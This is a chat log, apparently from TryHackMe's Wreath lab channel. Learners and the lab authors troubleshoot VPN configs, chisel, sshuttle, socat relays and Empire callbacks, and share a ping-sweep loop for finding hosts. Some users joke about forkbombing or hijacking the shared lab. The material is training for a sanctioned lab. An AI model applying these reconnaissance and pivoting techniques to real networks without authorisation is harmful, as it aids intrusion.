#wreath-network | TryHackMe | Page 5

merry robin Mar 22, 2021, 10:39 PM

#

I would stick that in the cleanup script too, but it usually requires a restart

tiny crown Mar 22, 2021, 10:39 PM

#

just drop all incoming connections, best av ever

pallid vapor Mar 22, 2021, 10:39 PM

#

haha

#

i mean

#

not false

#

or find a way to reverse-connect and forkbomb the network 😂

#

speaking of

#

does the network have any forkbomb protection lmao

merry robin Mar 22, 2021, 10:40 PM

#

Would you please leave my poor network alone? smh

pallid vapor Mar 22, 2021, 10:40 PM

#

its fun and im almost done and awesome job 🙂

tiny crown Mar 22, 2021, 10:41 PM

#

someone should find a way to upload static java files to the dev network so that the 100 ppl can play minecraft together kekw

pallid vapor Mar 22, 2021, 10:41 PM

#

yos

#

added to to do list

tiny crown Mar 22, 2021, 10:41 PM

#

thats one way to assert dominance over the network

pallid vapor Mar 22, 2021, 10:41 PM

#

hijacks network and moves all resources towards minecraft server

#

thats also one way to get banned

#

plzdontbanme

#

aaaaand

#

woooooooooooo

merry robin Mar 22, 2021, 10:51 PM

#

Ayeeee

pallid vapor Mar 22, 2021, 10:51 PM

#

soooo epic

#

thanks so much ❤️

cyan vine Mar 22, 2021, 10:51 PM

#

pallid vapor *hijacks network and moves all resources towards minecraft server*

All that effort for someone to reset it/ for you to get kicked out after 10 days kekw

merry robin Mar 22, 2021, 10:52 PM

#

Did you enjoy it?

pallid vapor Mar 22, 2021, 10:52 PM

#

haha

#

yes

#

a lot

merry robin Mar 22, 2021, 10:52 PM

#

Also, good luck hosting a minecraft server on those boxes -- they have virtually no resources kekw

#

We need to get a Wreath feedback page setup somewhere

#

~~Purely for my ego~~

pallid vapor Mar 22, 2021, 10:53 PM

#

https://i.imgur.com/C4VTuPE.png

Imgur

flameshot_screenshot

#

even firefox doesnt wanna go

#

😂

pallid vapor Mar 22, 2021, 10:53 PM

#

merry robin Also, good luck hosting a minecraft server on those boxes -- they have virtually...

haha

#

challenge accepted

merry robin Mar 22, 2021, 10:53 PM

#

No wonder -- you're proxying it through a box that quite literally can't access anything other than .100 and .200

pallid vapor Mar 22, 2021, 10:53 PM

#

no i just closed openvpn

#

lmao

#

and closed sshuttle and chisel

tiny crown Mar 22, 2021, 10:54 PM

#

sshuttle is truly amazing

pallid vapor Mar 22, 2021, 10:54 PM

#

ya

#

network is run on t2.micros right?

merry robin Mar 22, 2021, 10:57 PM

#

Combination. .200 is a t2 micro, .100 and .200 are t2 smalls

tiny crown Mar 22, 2021, 10:58 PM

#

~~muiri, if you make another network you should make it pivoting hell with a couple of hosts running a bunch of docker instances~~

pallid vapor Mar 22, 2021, 10:58 PM

#

lmao

#

hmm

#

2gb with 1vcpu? pfft

#

thats enough for minecraft

#

hehe

tiny crown Mar 22, 2021, 11:00 PM

#

pallid vapor thats enough for minecraft

doubt it, considering they're the windows hosts

merry robin Mar 22, 2021, 11:00 PM

#

tiny crown ~~muiri, if you make another network you should make it pivoting hell with a cou...

~~watch me~~

tiny crown Mar 22, 2021, 11:00 PM

#

merry robin ~~watch me~~

~~go on then, i dare you~~

pallid vapor Mar 22, 2021, 11:00 PM

#

hmm

#

wellllll

#

i think its possible

tiny crown Mar 22, 2021, 11:00 PM

#

me, activating troll behaviour? idk what you're talking about

pallid vapor Mar 22, 2021, 11:00 PM

#

@merry robin will i get banned if i try 😂

strange bison Mar 22, 2021, 11:00 PM

#

Muiiiiiiir let's make the thing

pallid vapor Mar 22, 2021, 11:01 PM

#

yes make the thing

#

and the stuff

merry robin Mar 22, 2021, 11:02 PM

#

pallid vapor <@!650476435269484549> will i get banned if i try 😂

Probably

merry robin Mar 22, 2021, 11:02 PM

#

strange bison Muiiiiiiir let's make the thing

Which one?

strange bison Mar 22, 2021, 11:02 PM

#

pivoting hell with a couple of hosts running a bunch of docker instances

merry robin Mar 22, 2021, 11:03 PM

#

We've discussed a few things like that 😁

tiny crown Mar 22, 2021, 11:03 PM

#

froghuh

pallid vapor Mar 22, 2021, 11:03 PM

#

merry robin Probably

aw ):

#

fine

#

well nonetheless awesome network

#

thanks a lot

merry robin Mar 22, 2021, 11:09 PM

#

~~Take that @jagged lion~~

pallid vapor Mar 22, 2021, 11:09 PM

#

i would do throwback but im cheap

#

😂

strange bison Mar 22, 2021, 11:10 PM

#

~~fwiw I prefer wreath to holo/throwback~~

#

Wreath is a really nice primer for pivoting and windows exploitation

pallid vapor Mar 22, 2021, 11:10 PM

#

yeeep

jagged lion Mar 22, 2021, 11:10 PM

#

Wha

tiny crown Mar 22, 2021, 11:10 PM

#

Especially with it being free content, it's really good and pretty well explained.

pallid vapor Mar 22, 2021, 11:10 PM

#

and definitely something you can speedrun in a day lol

merry robin Mar 22, 2021, 11:11 PM

#

jagged lion Wha

They aren't telling me to go kill myself after doing my network 😁

jagged lion Mar 22, 2021, 11:11 PM

#

I mean

strange bison Mar 22, 2021, 11:11 PM

#

hey, they didn't do holo

pallid vapor Mar 22, 2021, 11:11 PM

#

hey i want to die can i have early holo access please

jagged lion Mar 22, 2021, 11:11 PM

#

Holo is really designed to show unique and obscure topics and attacks rather than comb over the basics

merry robin Mar 22, 2021, 11:12 PM

#

~~True, but the testers are going to murder Cry sooner or later~~

jagged lion Mar 22, 2021, 11:12 PM

#

I think wreath does a good job of going over the basics well

merry robin Mar 22, 2021, 11:12 PM

#

Wait, what?

#

Cry

#

Did you just... compliment me?

jagged lion Mar 22, 2021, 11:12 PM

#

dawg

#

Holo has me so tired

pallid vapor Mar 22, 2021, 11:12 PM

#

woah

merry robin Mar 22, 2021, 11:12 PM

#

I'm crying. That's the nicest thing you've ever said to me

pallid vapor Mar 22, 2021, 11:12 PM

#

lmao

jagged lion Mar 22, 2021, 11:12 PM

#

I’ve been rewriting Spooky’s bs for the past 4 days

tiny crown Mar 22, 2021, 11:12 PM

#

Better quote it before he takes it back kekw

merry robin Mar 22, 2021, 11:12 PM

#

Funny. He's been saying the same thing about your content 😆

jagged lion Mar 22, 2021, 11:12 PM

#

So the testers might not crucify us

strange bison Mar 22, 2021, 11:13 PM

#

Too late

jagged lion Mar 22, 2021, 11:13 PM

#

I don’t know all the complaints I’ve seen have been about his sections so ping

strange bison Mar 22, 2021, 11:13 PM

#

jagged lion So the testers might not crucify us

Got Esqy building a cross as his latest woodworking project in preparation

pallid vapor Mar 22, 2021, 11:13 PM

#

lmao

jagged lion Mar 22, 2021, 11:13 PM

#

Honestly

#

spooks and I aren’t good at explaining basic shit

#

we’re more specialists in a sense

merry robin Mar 22, 2021, 11:14 PM

#

~~Specialists at what?~~

pallid vapor Mar 22, 2021, 11:14 PM

#

lmao

tiny crown Mar 22, 2021, 11:14 PM

#

im gonna leave before this turns into a murder scene 👀

pallid vapor Mar 22, 2021, 11:14 PM

#

same

merry robin Mar 22, 2021, 11:15 PM

#

Oh, don't worry -- we do this all the time 😆

#

It's all fun

pallid vapor Mar 22, 2021, 11:15 PM

#

👀

tiny crown Mar 22, 2021, 11:15 PM

#

Cry learned it the hard way from Throwback

pallid vapor Mar 22, 2021, 11:15 PM

#

haha

#

i wanna do throwback but i dont want to pay sadcooctus

jagged lion Mar 22, 2021, 11:17 PM

#

tiny crown im gonna leave before this turns into a murder scene 👀

Don’t worry spooks and I stab each other at least 30 times a day

pallid vapor Mar 22, 2021, 11:17 PM

#

rlly

merry robin Mar 22, 2021, 11:17 PM

#

Those two are honestly like an old married couple

tiny crown Mar 22, 2021, 11:18 PM

#

I assume it has only gotten worse over time, so only surprise is that they dont stab each other even more

pallid vapor Mar 22, 2021, 11:32 PM

#

in hindsight, maybe i shouldnt have finished it so fast now i have to wait lol

#

🤷

final olive Mar 22, 2021, 11:41 PM

#

Hi guys. anyway i can do wreath withouth 7 day streak. i just want to practice pivoting to supplement for my study. Thanks for suggestion in advance.

pallid vapor Mar 22, 2021, 11:42 PM

#

not if you dont subscribe

final olive Mar 22, 2021, 11:42 PM

#

I have the subscription.

merry robin Mar 22, 2021, 11:42 PM

#

You can join using the sub 🙂

pallid vapor Mar 22, 2021, 11:42 PM

#

then you dont need streak

#

final olive Mar 22, 2021, 11:44 PM

#

Roger, Thanks very much both of you guys.

merry robin Mar 22, 2021, 11:44 PM

#

final olive Roger, Thanks very much both of you guys.

Np 🙂
Enjoy the network!

pallid vapor Mar 22, 2021, 11:44 PM

#

enjoy!!

final olive Mar 22, 2021, 11:45 PM

#

Thank you again.

lyric bane Mar 23, 2021, 12:14 AM

#

Hey, I added <IP> thomaswreath.thm to my hosts file and firefox is giving me a unable to locate error. Any ideas?

#

I tried clearing my history anc cache.

merry robin Mar 23, 2021, 12:15 AM

#

lyric bane Hey, I added <IP> thomaswreath.thm to my hosts file and firefox is giving me a ...

Could you screenshot your hosts file for me? 🙂

lyric bane Mar 23, 2021, 12:27 AM

#

merry robin Could you screenshot your hosts file for me? 🙂

Nm, I made a mistake when I wrote the IP.

merry robin Mar 23, 2021, 12:27 AM

#

Ah, fair 🙂

mortal nexus Mar 23, 2021, 12:43 AM

#

allo all. hey with wreath, after getting onto the first box i can't reach back to my attacking machine

#

is this expected? e.g. as root on the webserver I can't ping, or pivot via a reverse proxy etc back to my attack machine

merry robin Mar 23, 2021, 12:44 AM

#

Are you using the AttackBox?

mortal nexus Mar 23, 2021, 12:44 AM

#

yup

merry robin Mar 23, 2021, 12:44 AM

#

Did you start the VPN manually?

mortal nexus Mar 23, 2021, 12:44 AM

#

nope. attack box said it wasn't necessary?

merry robin Mar 23, 2021, 12:44 AM

#

Good. What IP are you trying to connect back to?

mortal nexus Mar 23, 2021, 12:45 AM

#

the one listed on the my machine page for reverse proxys

#

but even writing that i figure i know what im doing wrong

merry robin Mar 23, 2021, 12:45 AM

#

I really should add a note for that

#

Yeah, you need to tunnel IP

mortal nexus Mar 23, 2021, 12:45 AM

#

guessing a vpn interface on the attack box yeah

merry robin Mar 23, 2021, 12:45 AM

#

Yep

mortal nexus Mar 23, 2021, 12:45 AM

#

my bad, thanks man

merry robin Mar 23, 2021, 12:45 AM

#

Np 🙂

#

Added a note into the network for it

lilac ibex Mar 23, 2021, 12:53 AM

#

@merry robin found more ports on task 5 question 1 than the answer

#

oh wait one is closed me dumb dumb

merry robin Mar 23, 2021, 12:54 AM

#

Chances are that's someone not bothering to read the task and opening ports below 15000

#

Unless it was just the one?

digital tendon Mar 23, 2021, 12:54 AM

#

I installed Empire today and think they might have changed the location of scripts - from /opt/Empire/data/module_source/situational_source/network/
to
/opt/Empire/data/module_source/situational_awareness/network
(only realised because I copy pasted command initially from guide)

lilac ibex Mar 23, 2021, 12:54 AM

#

merry robin Chances are that's someone not bothering to read the task and opening ports belo...

As I said before me dumb dumb

merry robin Mar 23, 2021, 12:55 AM

#

digital tendon I installed Empire today and think they might have changed the location of scrip...

At this point, I'm convinced that the editor is trolling me

digital tendon Mar 23, 2021, 12:56 AM

#

oh, you did have that location later in the documentation anyway

merry robin Mar 23, 2021, 12:57 AM

#

That's about the fifth time I've had to fix that

digital tendon Mar 23, 2021, 12:58 AM

#

I think it's currently fine I just didn't read everything

jagged lion Mar 23, 2021, 1:10 AM

#

ugh

#

its been situational_awareness for a while

#

muiri is tripping out

merry robin Mar 23, 2021, 1:12 AM

#

True

pallid vapor Mar 23, 2021, 1:22 AM

#

haha

lilac ibex Mar 23, 2021, 1:24 AM

#

@merry robin is there any benefit for doing a ICMP for loop with /dev/tcp vs the ping command with -c number of pings?

merry robin Mar 23, 2021, 1:24 AM

#

/dev/tcp does raw TCP requests, ping does ICMP echo requests?

#

Where's this?

lilac ibex Mar 23, 2021, 1:25 AM

#

task 9

#

trying to get the command submit to work

merry robin Mar 23, 2021, 1:26 AM

#

Ah, I getcha

#

So:

for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done```

#

You're asking why do that instead of using /dev/tcp?

lilac ibex Mar 23, 2021, 1:30 AM

#

reading the answer blanks no wonder

merry robin Mar 23, 2021, 1:30 AM

#

Hm?

lilac ibex Mar 23, 2021, 1:30 AM

#

trying to enter the /dev/tcp/ one

merry robin Mar 23, 2021, 1:30 AM

#

I, uh, am thoroughly confused right now 😆

#

The ping sweep is used as a rudimentary way to see if hosts are up. The /dev/tcp one is used to check if TCP ports are open on a single host

#

Or within a nested loop, for multiple hosts, if you're a masochist

lilac ibex Mar 23, 2021, 1:32 AM

#

# this is how I have done it
for i in $(seq 1 255); do ping -c 1 -W 1 10.10.10.$i | grep 'from'; done

merry robin Mar 23, 2021, 1:32 AM

#

So, that'll be a lot slower as it's not backgrounded, but it's a similar principle

fervent obsidian Mar 23, 2021, 1:33 AM

#

merry robin At this point, I'm convinced that the editor is trolling me

Updating the directories again just for you 😉

lilac ibex Mar 23, 2021, 1:33 AM

#

have you used fping Muriri?

merry robin Mar 23, 2021, 1:33 AM

#

fervent obsidian Updating the directories again just for you 😉

Please don't 🤣

lilac ibex Mar 23, 2021, 1:33 AM

#

even though that's never installed on remote machines... ahahah

merry robin Mar 23, 2021, 1:34 AM

#

lilac ibex even though that's never installed on remote machines... ahahah

Yeah, as part of coursework a while back. Used to form custom packets, right?

lilac ibex Mar 23, 2021, 1:34 AM

#

you mean hping3

merry robin Mar 23, 2021, 1:34 AM

#

Oh, no, different program

#

That's the one

lilac ibex Mar 23, 2021, 1:34 AM

#

ya

merry robin Mar 23, 2021, 1:35 AM

#

Then nope -- I have not used fping

#

Looks useful though

fervent obsidian Mar 23, 2021, 1:35 AM

#

I can't fix one problem without creating a new one for you lol

merry robin Mar 23, 2021, 1:36 AM

#

Hahaha

fervent obsidian Mar 23, 2021, 1:38 AM

#

Great work on the network by the way, really enjoyed playing around on it

merry robin Mar 23, 2021, 1:38 AM

#

Good to hear 😁

lyric bane Mar 23, 2021, 1:46 AM

#

Kudos to @merry robin for creating the network. I just finished my labs for the pwk oscp and this network is solid. Great work.

merry robin Mar 23, 2021, 1:47 AM

#

You'll find that all three main teaching sections can be mapped into PWK sections -- Pivoting, Empire, and AV evasion. Albeit taught very differently 😄

mortal nexus Mar 23, 2021, 1:56 AM

#

about to do the PWK, so this is awesome 👍

twilit ravine Mar 23, 2021, 4:14 AM

#

@merry robin You don't know but you're god! Started with Wreath, already loving it. So much of learning! blobheart

lilac ibex Mar 23, 2021, 4:53 AM

#

how do you guys make the pictures on the end look so clean!!! After all the text.

surreal sail Mar 23, 2021, 6:11 AM

#

To connect to wreath I've to connect to the wreath network? Not the machines right?

mortal nexus Mar 23, 2021, 6:48 AM

#

yeah connect to the wreath network then you should be able to nmap the first machine

surreal sail Mar 23, 2021, 7:17 AM

#

Thanks

coral oak Mar 23, 2021, 7:45 AM

#

Possible that someone has changed the root password on the initial box as the hash isnt accepted as a flag 🙄

tiny crown Mar 23, 2021, 7:56 AM

#

coral oak Possible that someone has changed the root password on the initial box as the ha...

Make sure your answer begins with $6$ ends with ad1, you might be copying too much.

coral oak Mar 23, 2021, 8:01 AM

#

The current hash doesnt end with ad1

#

Someone has probably changed it 🤦‍♂️

tiny crown Mar 23, 2021, 8:04 AM

#

Ouch, best bet would be to try and get a reset through. You might be able to report it as well by sending an email to support, not sure if they can/will handle this.

strange bison Mar 23, 2021, 8:09 AM

#

If you're on 10.200.72.x then it's unlikely as like 100 people got thrown into that network

tiny crown Mar 23, 2021, 8:11 AM

#

strange bison If you're on 10.200.72.x then it's unlikely as like 100 people got thrown into t...

Are the votes done dynamically? Like do you always need half of the network to vote? So in the dev's network case 50... rather than 5?

strange bison Mar 23, 2021, 8:12 AM

#

I think so. Not 100%

whole current Mar 23, 2021, 8:20 AM

#

Can we share the report publicly ?

young roost Mar 23, 2021, 9:01 AM

#

whole current Can we share the report publicly ?

same question

merry robin Mar 23, 2021, 11:11 AM

#

tiny crown Are the votes done dynamically? Like do you always need half of the network to v...

50???
Jesus, it can't be over thirty, right?

strange bison Mar 23, 2021, 11:11 AM

#

It was 23 last I checked, on 72

surreal sail Mar 23, 2021, 11:12 AM

#

While gunzip chisel windows it says unexpected End of file

#

And we need to download latest binary? Or the v1.7.3

merry robin Mar 23, 2021, 11:14 AM

#

whole current Can we share the report publicly ?

@young roost yep, by all means :)
The specific format (PDF shared in something like Google Drive) will obviously make it a bit more difficult unless you embed the PDF in a website or something, but go for it! I've already asked for no spoiling the checkpoints in task 44, so try to avoid that though.
That and obviously only the correct format is actually getting into the writeups section 😆

merry robin Mar 23, 2021, 11:14 AM

#

surreal sail While gunzip chisel windows it says unexpected End of file

Sounds like you downloaded the HTML page

merry robin Mar 23, 2021, 11:15 AM

#

surreal sail And we need to download latest binary? Or the v1.7.3

Latest will be fine 🙂

surreal sail Mar 23, 2021, 11:15 AM

#

merry robin Latest will be fine 🙂

Thanks

surreal sail Mar 23, 2021, 11:15 AM

#

merry robin Sounds like you downloaded the HTML page

Nope... coz the Linux one got gunzipped

merry robin Mar 23, 2021, 11:17 AM

#

Do file on the download?

surreal sail Mar 23, 2021, 11:17 AM

#

merry robin Do `file` on the download?

Empty

merry robin Mar 23, 2021, 11:18 AM

#

That'll be why it's not gunzipping then. Try downloading it again

surreal sail Mar 23, 2021, 11:18 AM

#

Thanks

#

Oh...now I got the reason the file was not getting downloaded because it states this file contains a virus or malware

merry robin Mar 23, 2021, 11:20 AM

#

Why are you downloading it on your host?

surreal sail Mar 23, 2021, 11:20 AM

#

It's on my kali

#

Vm

merry robin Mar 23, 2021, 11:22 AM

#

You're running AV... on your Kali?

strange bison Mar 23, 2021, 11:22 AM

#

Probably chrome being a pain tbh

merry robin Mar 23, 2021, 11:22 AM

#

Oh, you're downloading it from the browser, I see

surreal sail Mar 23, 2021, 11:24 AM

#

merry robin Oh, you're downloading it from the browser, I see

Yes

#

Thanks anyway for the help

merry robin Mar 23, 2021, 11:25 AM

#

Yeah, try downloading it with wget, or tell the browser to stop being a pain 🙂

daring pine Mar 23, 2021, 12:12 PM

#

I'm having trouble downloading the vpn file for the wreath network. I keep getting a 404 error page...

merry robin Mar 23, 2021, 12:13 PM

#

@strange bison what's the fix for that one? Regenerate, wait 10 seconds, download?

strange bison Mar 23, 2021, 12:13 PM

#

1 whole minute

#

Up to 2 or so really

merry robin Mar 23, 2021, 12:15 PM

#

Okay. @daring pine click regenerate, wait two minutes, then try

surreal sail Mar 23, 2021, 12:16 PM

#

daring pine I'm having trouble downloading the vpn file for the wreath network. I keep getti...

ah, facing the same issue waited for like 10 minutes ;-;

merry robin Mar 23, 2021, 12:17 PM

#

If that doesn't work, let me know

daring pine Mar 23, 2021, 12:17 PM

#

Still kinda stuck on the 404...

surreal sail Mar 23, 2021, 12:17 PM

#

still 404

#

merry robin Mar 23, 2021, 12:17 PM

#

@limber rover are you able to check what's happening? Anything to do with that new code?

#

(Or @fiery ingot seeing as you're online and VPNs are usually yours :) )

strange bison Mar 23, 2021, 12:22 PM

#

ashu goes offline

dense tundra Mar 23, 2021, 12:24 PM

#

I'm also stuck on the 404 error after attempting to download the config file...

humble sluice Mar 23, 2021, 12:32 PM

#

Yo guys. I make all steps for persistence in starkiller/empire.
Open ports via firewall
unzip files and phps
but i can't get callback git-serv
I tried that as well via cli empire

usemodule .... / shell whoami

execute

no callback although
sshuttle active
evil-winrm works

#

any suggestions?

merry robin Mar 23, 2021, 12:36 PM

#

@humble sluice looks like they are calling back, but are dying?

humble sluice Mar 23, 2021, 12:36 PM

#

looks like
when i typed at least one command

#

they are coloured red

dense tundra Mar 23, 2021, 12:37 PM

#

For the config file... I had to wait way longer than 5 minutes... That should work.

merry robin Mar 23, 2021, 12:38 PM

#

Yeah -- I think that's the bug in Empire, although I haven't seen the starkiller interface for it when it happens.
The wonderful CX0IN has a fix for it, but it hasn't been pushed to production yet @Embargo#7344

#

Goddamn android Discord doesn't like mentions

#

@humble sluice

humble sluice Mar 23, 2021, 12:38 PM

#

xD

merry robin Mar 23, 2021, 12:38 PM

#

@dense tundra did you get it working?

humble sluice Mar 23, 2021, 12:39 PM

#

i will need empire in further network solution,

#

?

#

i scared that

merry robin Mar 23, 2021, 12:41 PM

#

@humble sluice nah -- the Empire section is technically optional 🙂

#

Well worth doing though

humble sluice Mar 23, 2021, 12:41 PM

#

wooh

#

kudos !

limber rover Mar 23, 2021, 12:42 PM

#

daring pine Still kinda stuck on the 404...

Hey, can you give me an IP of a machine on the network?

dense tundra Mar 23, 2021, 12:42 PM

#

merry robin <@704398069839560886> did you get it working?

Yes. It's ok now.

merry robin Mar 23, 2021, 12:43 PM

#

The goal was to teach as many different techniques as possible. Empire is awesome, and you could do the whole network with it, but for learning it's good to get as wide a range of experiences as possible imo

merry robin Mar 23, 2021, 12:43 PM

#

dense tundra Yes. It's ok now.

Awesome 🙂

daring pine Mar 23, 2021, 12:43 PM

#

limber rover Hey, can you give me an IP of a machine on the network?

10.200.104.200

limber rover Mar 23, 2021, 12:45 PM

#

daring pine 10.200.104.200

Try regenerating now?

daring pine Mar 23, 2021, 12:48 PM

#

limber rover Try regenerating now?

I'm still getting 404's. Does the attackbox work against the wreath network?

strange bison Mar 23, 2021, 12:49 PM

#

You don't need to download the VPN config to the attackbox

#

It connects automatically

limber rover Mar 23, 2021, 12:51 PM

#

^^

#

Although you should still be able to download your config file.

daring pine Mar 23, 2021, 12:52 PM

#

I tried pinging the ip on the attackbox, but I'm not getting a response

#

Maybe I did something wrong, I'll try again tomorrow bc I already terminated the attackbox and I can't start it again until tomorrow

merry robin Mar 23, 2021, 12:54 PM

#

It doesn't connect automatically for non-subs

daring pine Mar 23, 2021, 12:55 PM

#

merry robin It doesn't connect automatically for non-subs

oh, is there an extra step then or I just can't?

merry robin Mar 23, 2021, 12:56 PM

#

You need to copy the config across

#

Then activate it normally

daring pine Mar 23, 2021, 12:56 PM

#

Ah ok

strange bison Mar 23, 2021, 12:57 PM

#

merry robin It doesn't connect automatically for non-subs

Huh, ok

lusty glade Mar 23, 2021, 1:22 PM

#

if im using socat in task 21, would it be a fork or a relay i should use?

merry robin Mar 23, 2021, 1:26 PM

#

@lusty glade why use socat in task 21?

surreal sail Mar 23, 2021, 1:26 PM

#

My pip is pointing to python3.8 so whenever I command python2 -m pip install it says no module named pip

lusty glade Mar 23, 2021, 1:26 PM

#

sorry task 20 i mean

merry robin Mar 23, 2021, 1:27 PM

#

@surreal sail ah, have a look at the get-pip.py script. Just search for that online, download the script, then run it with python2

surreal sail Mar 23, 2021, 1:27 PM

#

Okay

merry robin Mar 23, 2021, 1:28 PM

#

@lusty glade which do you think it might be?

surreal sail Mar 23, 2021, 1:29 PM

#

merry robin <@456226577798135808> ah, have a look at the get-pip.py script. Just search for ...

It needs 3.6 or above version

merry robin Mar 23, 2021, 1:30 PM

#

@surreal sail change the shebang to use python3 and go through adding brackets around all the print statements

#

As in, if it was print "Exploit" make it print("Exploit")

#

That's literally all you have to do to convert that one

surreal sail Mar 23, 2021, 1:31 PM

#

Yes I know thanks btw

lusty glade Mar 23, 2021, 1:49 PM

#

relay i'd guessing but can't get the syntax correct

merry robin Mar 23, 2021, 1:50 PM

#

Relay, yep 🙂

#

What syntax are you using?

lusty glade Mar 23, 2021, 1:53 PM

#

trying to follow how it was done in the socat section in task 13

#

#

then sending my reverse shell through burp but i dont get a connection

merry robin Mar 23, 2021, 1:55 PM

#

Looks good to me

#

Did you adjust the firewall on .200?

lusty glade Mar 23, 2021, 1:56 PM

#

hmmm no lol 🙃

#

probably the issue

merry robin Mar 23, 2021, 1:56 PM

#

That'd do it 😄

lusty glade Mar 23, 2021, 1:57 PM

#

do i need to do the ncat step as well or just having the socat relay running?

merry robin Mar 23, 2021, 1:57 PM

#

Yes, you need to have a listener running locally

lusty glade Mar 23, 2021, 1:59 PM

#

lmfaoooooooooooooooooo ok i got it now thanks

merry robin Mar 23, 2021, 2:02 PM

#

Awesome 🙂

haughty sun Mar 23, 2021, 2:03 PM

#

I am not able to scan my network any idea what might be the problem. I regenerated my .ovpn as well but same problem.

merry robin Mar 23, 2021, 2:03 PM

#

@haughty sun what exactly are you trying to do? :)

haughty sun Mar 23, 2021, 2:04 PM

#

I am at the enumeration stage trying to scan the machine.

merry robin Mar 23, 2021, 2:04 PM

#

Which machine?

haughty sun Mar 23, 2021, 2:04 PM

#

Wreath Network I mean

merry robin Mar 23, 2021, 2:05 PM

#

There are three machines on the Wreath network.
Which stage are you at?

haughty sun Mar 23, 2021, 2:05 PM

#

Web server one

merry robin Mar 23, 2021, 2:05 PM

#

Can you ping it?

#

And what IP is it showing for you?

haughty sun Mar 23, 2021, 2:06 PM

#

The ip is 10.200.100.200. the thing is when I ping it takes some time to response

merry robin Mar 23, 2021, 2:08 PM

#

Are you using the AttackBox?

haughty sun Mar 23, 2021, 2:08 PM

#

No

merry robin Mar 23, 2021, 2:08 PM

#

Could you show me the output of ip a?

haughty sun Mar 23, 2021, 2:08 PM

#

One minute please

surreal sail Mar 23, 2021, 2:20 PM

#

still getting the 404

dense tundra Mar 23, 2021, 2:25 PM

#

surreal sail still getting the 404

Same... I can't get hold of the proper config file... Took me a while to realise it downloaded the normal one...

merry robin Mar 23, 2021, 2:25 PM

#

It's still a problem for you both?

surreal sail Mar 23, 2021, 2:32 PM

#

merry robin It's still a problem for you both?

yep. I waited for around half an hour now after pressing regenerate

#

again 404

merry robin Mar 23, 2021, 2:33 PM

#

Hm

#

@limber rover I reckon the 503s might be more of a problem, but just if you get a chance to look at it, the network config download is still borked by the looks of it. Not sure what you did earlier to get it working for YeaHacked 😄

limber rover Mar 23, 2021, 2:43 PM

#

merry robin <@243160021674754048> I reckon the 503s might be more of a problem, but just if ...

CF enabled, hopefully in the next few weeks we'll have migrated our infra which will stop those from occuring

strange bison Mar 23, 2021, 2:45 PM

#

Stop the 404s?

#

Or the 503s?

surreal sail Mar 23, 2021, 2:46 PM

#

got redirected to some cloudfare and then back to 404 ;-;

limber rover Mar 23, 2021, 2:46 PM

#

503*

limber rover Mar 23, 2021, 2:46 PM

#

surreal sail still getting the 404

What VPN server is this? For Wreath?

surreal sail Mar 23, 2021, 2:46 PM

#

yes

#

rest is okay

#

just wreath

limber rover Mar 23, 2021, 2:47 PM

#

Please give me an IP of a machine on the network you're on (shown on the network visual map in the room)

surreal sail Mar 23, 2021, 2:47 PM

#

10.200.104.200

fiery bay Mar 23, 2021, 2:49 PM

#

i got a problem

#

when i am going to download the ovpn file for the wreath network i get redirected to 404

limber rover Mar 23, 2021, 2:51 PM

#

fiery bay when i am going to download the ovpn file for the wreath network i get redirecte...

Please give me an IP of a machine on the network you're on (shown on the network visual map in the room)

limber rover Mar 23, 2021, 2:52 PM

#

surreal sail 10.200.104.200

let me look into this one - it looks like this is the same server from earlier that was having issues.

surreal sail Mar 23, 2021, 2:52 PM

#

oka

limber rover Mar 23, 2021, 2:53 PM

#

surreal sail oka

Please try regenerating your config now.

fiery bay Mar 23, 2021, 2:53 PM

#

limber rover Please give me an IP of a machine on the network you're on (shown on the network...

10.200.104.200

limber rover Mar 23, 2021, 2:53 PM

#

fiery bay 10.200.104.200

Ah you're both on the new OpenVPN server - I think the issue is fixed, so please try regenerating.

fiery bay Mar 23, 2021, 2:54 PM

#

still cant download the config file

#

stating error 404

merry robin Mar 23, 2021, 2:55 PM

#

Did you regenerate, or just click download?

fiery bay Mar 23, 2021, 2:55 PM

#

i regenerated already

limber rover Mar 23, 2021, 2:55 PM

#

Did you try regenerating inthe last few minutes?

fiery bay Mar 23, 2021, 2:55 PM

#

just regenerated now and still not working

limber rover Mar 23, 2021, 2:56 PM

#

Okay, will investigate:)

surreal sail Mar 23, 2021, 2:57 PM

#

limber rover Did you try regenerating inthe last few minutes?

yes

#

still doesn't work

fiery bay Mar 23, 2021, 2:58 PM

#

at first i thought my internet is not working properly

limber rover Mar 23, 2021, 2:58 PM

#

Ah - thats weird. Something isn't right with that network.

limber rover Mar 23, 2021, 3:16 PM

#

@surreal sail & @fiery bay please try regenerating your config again:)

#

We've found the error and have fixed the problem.

fervent obsidian Mar 23, 2021, 3:20 PM

#

merry robin Yeah -- I think that's the bug in Empire, although I haven't seen the starkiller...

The patch should be on the kali repo as of this morning. Just make sure everyone is on 3.8.1

merry robin Mar 23, 2021, 3:21 PM

#

fervent obsidian The patch should be on the kali repo as of this morning. Just make sure everyone...

Oh you beauty. Thank you!
Is it available in the main Empire repo?

fervent obsidian Mar 23, 2021, 3:45 PM

#

merry robin Oh you beauty. Thank you! Is it available in the main Empire repo?

The main repo isn't updated yet, still working out the merge conflicts for going back and fixing 3.7

merry robin Mar 23, 2021, 3:46 PM

#

Faiiir. The latest version of Empire I'm seeing in the repo is also 3.8.0 by the way

fervent obsidian Mar 23, 2021, 3:48 PM

#

Did you run a git update? But it could also take a bit for the repo to pull down the published version on their gitlab.

merry robin Mar 23, 2021, 3:49 PM

#

Not a git update no -- I did an apt update then upgraded the powershell-empire package.
I'll give it a go in a couple of hours and see if they've synced it 😁

fervent obsidian Mar 23, 2021, 3:49 PM

#

Lol need more coffee... Meant apt update

merry robin Mar 23, 2021, 3:50 PM

#

Haha -- don't worry, been there 😆

cold urchin Mar 23, 2021, 4:18 PM

#

limber rover We've found the error and have fixed the problem.

I'm still getting the problem!

limber rover Mar 23, 2021, 4:21 PM

#

cold urchin I'm still getting the problem!

Please give me an IP of a machine on the network you're on (shown on the network visual map in the room)

cold urchin Mar 23, 2021, 4:24 PM

#

limber rover Please give me an IP of a machine on the network you're on (shown on the network...

10.200.104.200

limber rover Mar 23, 2021, 4:27 PM

#

Ah that one has been fixed, did you try regenerating your config?

cold urchin Mar 23, 2021, 4:32 PM

#

I did yeah

#

I can try again however

cold urchin Mar 23, 2021, 4:33 PM

#

limber rover Ah that one has been fixed, did you try regenerating your config?

Still 404

surreal sail Mar 23, 2021, 4:40 PM

#

Did anyone faced any problem while installing Empire? Module M2Crypto was not getting installed in my case

lilac ibex Mar 23, 2021, 4:56 PM

#

